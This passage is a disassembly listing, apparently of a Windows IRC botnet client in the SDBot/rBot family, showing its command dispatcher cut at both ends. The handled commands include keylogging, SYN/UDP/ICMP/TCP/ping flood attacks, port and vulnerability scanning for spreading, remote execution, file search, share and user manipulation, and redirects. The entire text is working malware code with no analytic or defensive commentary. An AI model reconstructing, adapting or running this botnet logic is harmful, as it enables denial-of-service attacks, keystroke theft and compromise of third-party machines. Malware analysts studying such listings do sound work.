		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset unk_42B150
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	21h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_F68], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_FEC]
		push	ebx
		push	eax
		push	offset sub_412660
		push	ebx
		push	ebx
		nop
		call	near ptr 269053Ch
		mov	ecx, [ebp+var_F68]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_405D82

loc_405D6C:				; CODE XREF: sub_401ACD+42B3j
		cmp	[ebp+var_F5C], ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 26904AEh
		jmp	short loc_405D6C
; ---------------------------------------------------------------------------

loc_405D82:				; CODE XREF: sub_401ACD+429Dj
		nop
		call	near ptr 2690DF2h
		push	eax
		push	offset unk_42B114
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_405D93:				; CODE XREF: sub_401ACD+41D4j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828B
		push	ebx
		push	21h
		call	sub_40B2F1
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405DC3
		push	eax
		push	offset unk_42B0D4
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_405DC3:				; CODE XREF: sub_401ACD+42E9j
		push	offset unk_42B0A4
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_405DCD:				; CODE XREF: sub_401ACD+41BDj
		push	edi
		push	offset aIdent	; "ident"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405EA2
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405E68
		push	2
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_405E0B
		push	offset dword_42B07C
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_405E0B:				; CODE XREF: sub_401ACD+4332j
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B050
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	2
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		push	esi
		push	offset loc_4101FC
		push	ebx
		push	ebx
		call	near ptr 269053Ch
		nop
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[esi], eax
		jnz	loc_40828B
		call	near ptr 2690DF2h
		nop
		push	eax
		push	offset dword_42B01C
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_405E68:				; CODE XREF: sub_401ACD+4326j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828B
		push	ebx
		push	2
		call	sub_40B2F1
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405E98
		push	eax
		push	offset dword_42AFE4
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_405E98:				; CODE XREF: sub_401ACD+43BEj
		push	offset dword_42AFC4
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_405EA2:				; CODE XREF: sub_401ACD+430Fj
		push	edi
		push	offset aKeylog	; "keylog"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40601F
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		mov	edi, offset aFile ; "file"
		test	eax, eax
		pop	ecx
		jz	short loc_405F18
		push	[ebp+arg_10]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_405F18
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828B
		push	ebx
		push	23h
		call	sub_40B2F1
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405F0E
		push	eax
		push	offset dword_42AF78
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_405F0E:				; CODE XREF: sub_401ACD+4434j
		push	offset dword_42AF4C
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_405F18:				; CODE XREF: sub_401ACD+4400j
					; sub_401ACD+440Fj
		push	23h
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_405F2E
		push	offset dword_42AF2C
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_405F2E:				; CODE XREF: sub_401ACD+4455j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_10]
		mov	[ebp+var_C5C], eax
		mov	eax, [ebp+var_4]
		push	edi
		mov	[ebp+var_BD4], eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405F5B
		mov	[ebp+var_BD0], 1
		jmp	short loc_405F64
; ---------------------------------------------------------------------------

loc_405F5B:				; CODE XREF: sub_401ACD+4480j
		mov	eax, [ebp+var_8]
		mov	[ebp+var_BD0], eax

loc_405F64:				; CODE XREF: sub_401ACD+448Cj
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_405F8B
		mov	esi, offset aF_0 ; "#f"
		push	offset dword_43D158
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405F8B
		mov	esi, [ebp+var_88]

loc_405F8B:				; CODE XREF: sub_401ACD+44A0j
					; sub_401ACD+44B6j
		push	esi
		lea	eax, [ebp+var_C54]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset dword_42AF08
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	23h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_C58], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_C5C]
		push	ebx
		push	eax
		push	offset dword_411CF4
		push	ebx
		push	ebx
		nop
		call	near ptr 269053Ch
		mov	ecx, [ebp+var_C58]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_40600E

loc_405FF8:				; CODE XREF: sub_401ACD+453Fj
		cmp	[ebp+var_BCC], ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 26904AEh
		jmp	short loc_405FF8
; ---------------------------------------------------------------------------

loc_40600E:				; CODE XREF: sub_401ACD+4529j
		call	near ptr 2690DF2h
		nop
		push	eax
		push	offset dword_42AECC
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_40601F:				; CODE XREF: sub_401ACD+43E4j
		push	edi
		push	offset aNet	; "net"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40626F
		cmp	dword_4CB074, ebx
		jz	short loc_40604E
		cmp	dword_4CB09C, ebx
		jz	short loc_40604E
		push	offset unk_42AE90
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_40604E:				; CODE XREF: sub_401ACD+456Dj
					; sub_401ACD+4575j
		cmp	[ebp+var_C], ebx
		jz	loc_406CDE
		mov	edi, [ebp+esi+var_88]
		mov	[ebp+arg_0], ebx
		cmp	edi, ebx
		jz	short loc_406073
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		mov	[ebp+arg_0], eax
		pop	ecx

loc_406073:				; CODE XREF: sub_401ACD+4596j
		push	[ebp+arg_10]
		push	offset aStart	; "start"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060C0
		cmp	edi, ebx
		jz	short loc_406094
		push	[ebp+arg_0]
		push	3
		jmp	loc_406126
; ---------------------------------------------------------------------------

loc_406094:				; CODE XREF: sub_401ACD+45BBj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41895B
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4060B6
		push	offset unk_42AE64
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_4060B6:				; CODE XREF: sub_401ACD+45DDj
		push	offset unk_42AE44
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_4060C0:				; CODE XREF: sub_401ACD+45B7j
		push	[ebp+arg_10]
		push	offset aStop	; "stop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060DA
		push	[ebp+arg_0]
		push	4
		jmp	short loc_406126
; ---------------------------------------------------------------------------

loc_4060DA:				; CODE XREF: sub_401ACD+4604j
		push	[ebp+arg_10]
		push	offset aPause	; "pause"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060F4
		push	[ebp+arg_0]
		push	5
		jmp	short loc_406126
; ---------------------------------------------------------------------------

loc_4060F4:				; CODE XREF: sub_401ACD+461Ej
		push	[ebp+arg_10]
		push	offset aContinue ; "continue"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40610E
		push	[ebp+arg_0]
		push	6
		jmp	short loc_406126
; ---------------------------------------------------------------------------

loc_40610E:				; CODE XREF: sub_401ACD+4638j
		push	[ebp+arg_10]
		push	offset aDelete	; "delete"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406138
		push	[ebp+arg_0]
		push	1

loc_406126:				; CODE XREF: sub_401ACD+45C2j
					; sub_401ACD+460Bj ...
		call	sub_4186C1
		pop	ecx
		pop	ecx

loc_40612D:				; CODE XREF: sub_401ACD+46A1j
					; sub_401ACD+4729j ...
		push	eax
		push	offset aS_1	; "%s"
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_406138:				; CODE XREF: sub_401ACD+4652j
		push	[ebp+arg_10]
		push	offset aShare	; "share"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40619D
		cmp	edi, ebx
		jz	short loc_406170
		cmp	[ebp+var_8FC], bl
		jz	short loc_40615D
		push	ebx
		push	edi
		push	1
		jmp	short loc_406166
; ---------------------------------------------------------------------------

loc_40615D:				; CODE XREF: sub_401ACD+4688j
		push	[ebp+esi+var_84]
		push	edi
		push	ebx

loc_406166:				; CODE XREF: sub_401ACD+468Ej
		call	sub_418A98
		add	esp, 0Ch
		jmp	short loc_40612D
; ---------------------------------------------------------------------------

loc_406170:				; CODE XREF: sub_401ACD+4680j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_418C8E
		add	esp, 10h
		test	eax, eax
		jz	short loc_406193
		push	offset unk_42ADFC
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_406193:				; CODE XREF: sub_401ACD+46BAj
		push	offset unk_42ADDC
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_40619D:				; CODE XREF: sub_401ACD+467Cj
		push	[ebp+arg_10]
		push	offset aUser	; "user"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406228
		cmp	edi, ebx
		jz	short loc_4061FB
		cmp	[ebp+var_8FC], bl
		jz	short loc_4061CE
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	ebx
		push	edi
		push	1
		jmp	short loc_4061EE
; ---------------------------------------------------------------------------

loc_4061CE:				; CODE XREF: sub_401ACD+46EDj
		push	[ebp+var_4]
		mov	esi, [ebp+esi+var_84]
		cmp	esi, ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		jz	short loc_4061EA
		push	esi
		push	edi
		push	ebx
		jmp	short loc_4061EE
; ---------------------------------------------------------------------------

loc_4061EA:				; CODE XREF: sub_401ACD+4716j
		push	ebx
		push	edi
		push	2

loc_4061EE:				; CODE XREF: sub_401ACD+46FFj
					; sub_401ACD+471Bj
		call	sub_418DAF
		add	esp, 18h
		jmp	loc_40612D
; ---------------------------------------------------------------------------

loc_4061FB:				; CODE XREF: sub_401ACD+46E5j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4192DF
		add	esp, 10h
		test	eax, eax
		jz	short loc_40621E
		push	offset unk_42ADB4
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_40621E:				; CODE XREF: sub_401ACD+4745j
		push	offset unk_42AD94
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_406228:				; CODE XREF: sub_401ACD+46E1j
		push	[ebp+arg_10]
		push	offset aSend	; "send"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406265
		cmp	edi, ebx
		jz	short loc_40625B
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_419593
		add	esp, 10h
		jmp	loc_40612D
; ---------------------------------------------------------------------------

loc_40625B:				; CODE XREF: sub_401ACD+4770j
		push	offset unk_42AD68
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_406265:				; CODE XREF: sub_401ACD+476Cj
		push	offset unk_42AD4C
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_40626F:				; CODE XREF: sub_401ACD+4561j
		push	edi
		push	offset aCapture	; "capture"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408DFD
		push	edi
		push	offset aCap	; "cap"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408DFD
		push	edi
		push	offset aGethost	; "gethost"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D09
		push	edi
		push	offset aGh	; "gh"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D09

loc_4062C3:				; CODE XREF: sub_401ACD+3CBDj
					; sub_401ACD+3CECj ...
		mov	edi, [ebp+esi+var_88]
		cmp	edi, ebx
		mov	[ebp+arg_1C], edi
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aKilllog	; "killlog"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CEF
		push	[ebp+arg_8]
		push	offset aKl	; "kl"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CEF
		push	[ebp+arg_8]
		push	offset aAddalias ; "addalias"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CAC
		push	[ebp+arg_8]
		push	offset aAa	; "aa"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CAC
		push	[ebp+arg_8]
		push	offset aPrivmsg_0 ; "privmsg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C57
		push	[ebp+arg_8]
		push	offset dword_42B530
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C57
		push	[ebp+arg_8]
		push	offset aAction	; "action"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BEA
		push	[ebp+arg_8]
		push	offset aA	; "a"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BEA
		push	[ebp+arg_8]
		push	offset aCycle	; "cycle"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B86
		push	[ebp+arg_8]
		push	offset aCy	; "cy"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B86
		push	[ebp+arg_8]
		push	offset aMode	; "mode"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B4A
		push	[ebp+arg_8]
		push	offset aM	; "m"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B4A
		push	[ebp+arg_8]
		push	offset aC_raw	; "c_raw"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408ADB
		push	[ebp+arg_8]
		push	offset aC_r	; "c_r"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408ADB
		push	[ebp+arg_8]
		push	offset aC_mode	; "c_mode"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A55
		push	[ebp+arg_8]
		push	offset aC_m	; "c_m"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A55
		push	[ebp+arg_8]
		push	offset aC_nick	; "c_nick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089E5
		push	[ebp+arg_8]
		push	offset aC_n	; "c_n"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089E5
		push	[ebp+arg_8]
		push	offset aC_join	; "c_join"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089BF
		push	[ebp+arg_8]
		push	offset aC_j	; "c_j"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089BF
		push	[ebp+arg_8]
		push	offset aC_part	; "c_part"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40895B
		push	[ebp+arg_8]
		push	offset aC_p	; "c_p"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40895B
		push	[ebp+arg_8]
		push	offset aTarga3	; "targa3"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408886
		push	[ebp+arg_8]
		push	offset aT3	; "t3"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408886
		push	[ebp+arg_8]
		push	offset aTsunami	; "tsunami"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40878B
		push	[ebp+arg_8]
		push	offset aTsn	; "tsn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40878B
		push	[ebp+arg_8]
		push	offset aRepeat	; "repeat"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408687
		push	[ebp+arg_8]
		push	offset aRp	; "rp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408687
		push	[ebp+arg_8]
		push	offset aDelay	; "delay"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085E8
		push	[ebp+arg_8]
		push	offset aDe	; "de"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085E8
		push	[ebp+arg_8]
		push	offset aJpDe100	; "jp]de100"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408457
		push	[ebp+arg_8]
		push	offset aJp10	; "jp]10"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408457
		push	[ebp+arg_8]
		push	offset aExecute	; "execute"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4083C4
		push	[ebp+arg_8]
		push	offset aE	; "e"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4083C4
		push	[ebp+arg_8]
		push	offset aFindfile ; "findfile"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082B5
		push	[ebp+arg_8]
		push	offset aFf	; "ff"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082B5
		push	[ebp+arg_8]
		push	offset aRename	; "rename"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40823E
		push	[ebp+arg_8]
		push	offset aMv	; "mv"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40823E
		push	[ebp+arg_8]
		push	offset aIcmpflood ; "icmpflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408141
		push	[ebp+arg_8]
		push	offset aIcmp	; "icmp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408141
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aClone_0	; "clone"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408059
		push	[ebp+arg_8]
		push	offset aC	; "c"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408059
		push	[ebp+arg_8]
		push	offset aDdos_syn ; "ddos.syn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F60
		push	[ebp+arg_8]
		push	offset aDdos_ack ; "ddos.ack"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F60
		push	[ebp+arg_8]
		push	offset aDdos_random ; "ddos.random"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F60
		push	[ebp+arg_8]
		push	offset aWisdom_udp ; "wisdom.udp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4067D6
		push	7Fh
		lea	eax, [ebp+var_327C]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_31FC]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_317C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_30FC]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3074],	eax
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	13h
		push	eax
		mov	[ebp+var_3078],	edi
		mov	[ebp+var_3280],	esi
		call	sub_40B0F6
		add	esp, 3Ch
		mov	[ebp+var_307C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3280]
		push	ebx
		push	eax
		push	offset word_4146CE
		push	ebx
		push	ebx
		call	near ptr 269053Ch
		nop
		mov	ecx, [ebp+var_307C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_4067C5

loc_4067AF:				; CODE XREF: sub_401ACD+4CF6j
		cmp	[ebp+var_3070],	ebx
		jnz	loc_403DA0
		push	32h
		nop
		call	near ptr 26904AEh
		jmp	short loc_4067AF
; ---------------------------------------------------------------------------

loc_4067C5:				; CODE XREF: sub_401ACD+4CE0j
		nop
		call	near ptr 2690DF2h
		push	eax
		push	offset unk_42ABBC
		jmp	loc_403D91
; ---------------------------------------------------------------------------

loc_4067D6:				; CODE XREF: sub_401ACD+4C36j
		push	[ebp+arg_8]
		push	offset aSynflood ; "synflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E78
		push	[ebp+arg_8]
		push	offset aSyn	; "syn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E78
		push	[ebp+arg_8]
		push	offset aSkysyn	; "skysyn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406903
		push	7Fh
		lea	eax, [ebp+var_36A4]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3624]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_35A4]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3524]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_34A0],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_349C],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_36A8],	esi
		push	[ebp+arg_10]
		push	offset dword_42AB74
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	10h
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_34A4],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_36A8]
		push	ebx
		push	eax
		push	offset word_413626
		push	ebx
		push	ebx
		nop
		call	near ptr 269053Ch
		mov	ecx, [ebp+var_34A4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_4068F2

loc_4068DC:				; CODE XREF: sub_401ACD+4E23j
		cmp	[ebp+var_3498],	ebx
		jnz	loc_407278
		push	32h
		nop
		call	near ptr 26904AEh
		jmp	short loc_4068DC
; ---------------------------------------------------------------------------

loc_4068F2:				; CODE XREF: sub_401ACD+4E0Dj
		nop
		call	near ptr 2690DF2h
		push	eax
		push	offset dword_42AB38
		jmp	loc_407269
; ---------------------------------------------------------------------------

loc_406903:				; CODE XREF: sub_401ACD+4D48j
		push	[ebp+arg_8]
		push	offset aPhatwonk ; "phatwonk"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D90
		push	[ebp+arg_8]
		push	offset aWonk	; "wonk"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D90
		push	[ebp+arg_8]
		push	offset aJpldg10	; "jpldg10"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407C52
		push	[ebp+arg_8]
		push	offset aJpl10	; "jpl10"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407C52
		push	[ebp+arg_8]
		push	offset aRedirect ; "redirect"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B55
		push	[ebp+arg_8]
		push	offset aRd	; "rd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B55
		push	[ebp+arg_8]
		push	offset aScan	; "scan"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A62
		push	[ebp+arg_8]
		push	offset aSc	; "sc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A62
		push	[ebp+arg_8]
		push	offset aC_privmsg ; "c_privmsg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40795D
		push	[ebp+arg_8]
		push	offset aC_pm	; "c_pm"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40795D
		push	[ebp+arg_8]
		push	offset aC_action ; "c_action"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407865
		push	[ebp+arg_8]
		push	offset aC_a	; "c_a"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407865
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aPortscan ; "portscan"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40775F
		push	[ebp+arg_8]
		push	offset aPsc	; "psc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40775F
		push	[ebp+arg_8]
		push	offset aAdvscan	; "advscan"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407298
		push	[ebp+arg_8]
		push	offset aAsc	; "asc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407298
		push	[ebp+arg_8]
		push	offset aUdpflood ; "udpflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40714F
		push	[ebp+arg_8]
		push	offset aUdp	; "udp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40714F
		push	[ebp+arg_8]
		push	offset aU	; "u"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40714F
		push	[ebp+arg_8]
		push	offset aNetsend	; "netsend"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407041
		push	[ebp+arg_8]
		push	offset aNs	; "ns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407041
		push	[ebp+arg_8]
		push	offset aPingflood ; "pingflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F17
		push	[ebp+arg_8]
		push	offset aPing_0	; "ping"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F17
		push	[ebp+arg_8]
		push	offset aP	; "p"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F17
		push	[ebp+arg_8]
		push	offset aTcpflood ; "tcpflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406D6E
		push	[ebp+arg_8]
		push	offset aTcp	; "tcp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406D6E
		push	[ebp+arg_8]
		push	offset aEmail	; "email"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406D16
		push	[ebp+arg_10]
		lea	eax, [ebp+var_47EC]
		push	eax
		call	sub_41BEB0
		push	edi
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+arg_10], eax
		lea	eax, [ebp+var_4188]
